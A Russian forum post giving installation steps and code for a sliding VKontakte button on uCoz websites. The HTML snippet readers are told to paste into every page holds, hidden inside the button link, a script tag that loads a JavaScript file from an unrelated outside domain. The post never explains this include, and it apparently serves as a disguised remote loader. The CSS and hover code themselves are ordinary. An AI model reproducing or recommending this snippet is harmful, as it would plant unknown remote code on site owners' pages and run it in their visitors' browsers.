Выдвижная кнопка ВКонтакте для uCoz - Форум ProUcoz.com - Выдвижная кнопка ВКонтакте для uCoz - Форум ProUcoz.com
Вторник 16:13 | 28.02.2017
Свежие темы · Участники · Правила форума · Поиск · RSS
Страница 1 из 11
Модератор форума: GrandDooM, FR3cH 
Форум ProUcoz.com » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для uCoz » Выдвижная кнопка ВКонтакте для uCoz
Выдвижная кнопка ВКонтакте для uCoz
Канадаfafirok[Нет на сайте]
Дата: Вторник, 18.12.2012, 14:00 | Сообщение # 1
Сообщений: 208
Скрин: http://s61.radikal.ru/i173/1212/0c/e63ccd47ec87.png

Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

Установка

1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

Code
#vkontakte_button img {   
   position: fixed;   
   top:125px;   
   right: -76px;   
   z-index: 99999;   
   cursor: pointer;   
   display: block;   
   }  


2.) Следующий код вставляем в любое место на странице между head и /head:

Code
<script type="text/javascript">   
   $(function($) {   
   $("#vkontakte_button img").hover(   
   function () {   
   $(this).animate({right: '0'}, {queue:false, duration: 350});   
   //$(this).css('right', '0');   
   },   
   function () {   
   $(this).animate({right: '-76px'}, {queue:false, duration: 350});   
   // $(this).css('right', '-76px');   
   }   
   );   
   });   
   </script>   
   <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">   
   <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>   
   </a>


Настройка скрипта

Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

Вот и все, установка и настройка завершена.


fafirok
 
Форум ProUcoz.com » Готовые скрипты и интересные решения для системы uCoz » Другие скрипты для uCoz » Выдвижная кнопка ВКонтакте для uCoz
Страница 1 из 11
Поиск: